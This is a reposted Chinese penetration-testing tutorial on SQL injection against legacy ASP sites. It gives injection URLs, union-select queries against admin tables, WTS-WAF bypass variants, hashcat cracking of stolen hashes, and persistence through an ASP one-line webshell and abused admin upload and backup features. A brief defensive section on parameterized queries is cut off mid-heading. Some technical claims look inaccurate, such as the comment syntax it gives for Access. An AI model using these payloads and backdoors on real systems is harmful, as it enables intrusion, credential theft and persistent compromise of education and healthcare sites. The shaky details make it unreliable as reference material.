当前位置：首页 > news >正文

实战复盘：针对ASP老旧站点的SQL注入手法与WTS-WAF绕过技巧

news 2026/6/6 5:05:06

实战剖析：ASP传统架构下的SQL注入攻防与WAF绕过艺术

在网络安全领域，ASP+Access/SQL Server这套经典组合至今仍广泛存在于教育、医疗等传统行业系统中。这些"技术活化石"往往隐藏着令人惊讶的安全隐患，成为渗透测试人员需要掌握的重要实战场景。不同于现代框架的自动化防护机制，这类老旧系统对原始SQL注入攻击的防御几乎形同虚设，却又因为部署了各类WAF设备而形成了独特的攻防对抗局面。

1. ASP传统架构的SQL注入温床

ASP（Active Server Pages）作为微软上世纪90年代推出的服务器端脚本环境，其与Access或早期SQL Server数据库的搭配堪称经典。这种架构在设计之初就缺乏对SQL注入的基本防护意识，形成了几个典型漏洞模式：

动态拼接SQL：ASP中常见的conn.execute("SELECT * FROM products WHERE id=" & request("id"))写法直接将用户输入拼入SQL语句
弱类型系统：VBScript的松散类型检查使得id=95 union select...这类攻击字符串可以轻易通过参数传递
错误信息泄露：默认配置下详细的ODBC错误信息会直接返回给客户端，为攻击者提供宝贵线索

提示：在测试ASP站点时，观察/news.asp?id=95这类URL参数传递方式往往能快速锁定注入点

手工测试中最经典的验证方式莫过于and 1=1与and 1=2的逻辑测试：

http://example.com/news.asp?id=95+and+1=1 -- 应返回正常页面 http://example.com/news.asp?id=95+and+1=2 -- 应返回异常或空白页面

当这两个测试产生明显差异时，基本可以确认存在SQL注入漏洞。这种上世纪就存在的检测手法至今仍然有效，恰恰说明了传统架构安全更新的滞后性。

2. 手工注入的核心技术解析

在确认注入点后，传统ASP站点的渗透通常遵循信息收集→字段探测→数据提取的标准流程。这个过程中有几个关键技术环节需要特别注意：

2.1 字段数探测的艺术

ORDER BY子句是判断查询返回字段数的经典方法，但在实战中需要注意这些细节：

从较大数字开始二分查找（如20）可以加快定位速度
某些WAF会拦截包含数字的ORDER BY语句，可尝试：
- 用ORDER BY (SELECT 1)替代ORDER BY 1
- 使用十六进制表示：ORDER BY 0x31
Access数据库对ORDER BY后的列名有特殊要求，可能需要配合表名

http://example.com/news.asp?id=95+order+by+19-- http://example.com/news.asp?id=95+order+by+20-- -- 返回500错误说明字段数为19

2.2 UNION注入的实战技巧

当确定字段数后，UNION SELECT就成为获取数据的利器。针对不同数据库类型需要采用不同策略：

Access数据库：

必须知道确切的表名和列名（如常见的admin、users等）
不支持直接查询information_schema
字段类型必须匹配，否则会报错

http://example.com/news.asp?id=95+union+select+1,2,username,4,5,6,7,8,9,userpass,11...19+from+admin

SQL Server数据库：

可以利用系统视图获取表结构
支持多语句执行（需特定条件）
有更丰富的内置函数可供利用

下表对比了两种数据库在注入利用时的关键差异：

特性	Access	SQL Server
系统表	无标准系统表	information_schema
多语句执行	不支持	可能支持
错误信息价值	较低	非常丰富
常见默认管理员表	admin	sysusers
注释符号	--	--或/* */

3. WTS-WAF的绕过实战

现代防护体系中，WAF（Web应用防火墙）成为阻挡SQL注入的第一道防线。以国内常见的WTS-WAF为例，其防护机制和绕过手法值得深入研究。

3.1 WAF检测原理剖析

通过分析拦截日志和公开资料，WTS-WAF主要依赖以下机制：

关键词黑名单：拦截包含union select、order by等敏感词的请求
语法分析：检测异常SQL语法结构
频率限制：对可疑请求进行速率限制
会话跟踪：关联多个请求的异常行为

3.2 有效绕过手法汇编

针对上述防护机制，实战中验证有效的绕过技术包括：

空白符变异：
- 用+替代空格：union+select
- 使用注释符分割：uni/**/on sel/**/ect
- 混用多种空白符：union%0aselect
大小写与编码技巧：
- 非常规大小写组合：UnIoN SeLeCt
- 十六进制编码关键字：0x756E696F6E（union的hex）
- URL编码特殊字符：%27替代单引号
等价替换法：
- 用||替代OR（在某些数据库中）
- 使用数学表达式：and 1=1→and 2-1=1
- 函数包裹：version()→@@version

http://example.com/news.asp?id=95+uniOn+selEct+1,2,3%20froM%20admin

注意：不同版本的WAF规则存在差异，实际测试中需要准备多种变形方案轮流尝试

4. 从漏洞挖掘到实战渗透

在教育行业安全测试（如EDUSRC）中，ASP站点的SQL注入往往只是入口点。完整的攻击链还需要后续的提权、横向移动等操作。以下是几个关键阶段的注意事项：

4.1 凭证获取与解密

获取管理员账户后，通常面临密码解密问题：

识别哈希类型：
- Access常用简单MD5
- SQL Server可能使用加盐哈希
解密策略：
- 在线解密平台（适用于常见弱密码）
- 本地Hashcat爆破
- 社工库查询

hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l # 尝试6位小写字母组合

4.2 后台功能利用

进入后台后，重点寻找这些高危功能点：

文件上传接口（可能绕过扩展名检查）
数据库备份/恢复功能（可能写入Webshell）
系统命令执行接口（如服务器信息查看）
模板编辑功能（注入恶意代码）

4.3 权限维持技术

在ASP环境中，常用的后门方式包括：

数据库存储型：
- 在某个表中插入<%execute(request("cmd"))%>
- 通过正常页面加载该内容
文件写入型：
- 利用文件上传或备份恢复功能
- 写入ASP一句话木马
组件注册：
- 利用WScript.Shell等组件
- 创建计划任务或服务

5. 防御视角的加固建议

站在防御者角度，针对这类传统系统应当采取多层次防护策略：

代码层：

使用参数化查询替代字符串拼接
实施严格的输入验证
禁用详细错误信息

' 正确的参数化查询示例 Set cmd = Server.CreateObject("ADODB.Command") cmd.ActiveConnection = conn cmd.CommandText = "SELECT * FROM products WHERE id = ?" cmd.Parameters.Append cmd.CreateParameter("@id", adInteger, adParamInput, , request("id")) Set rs = cmd.Execute

架构层：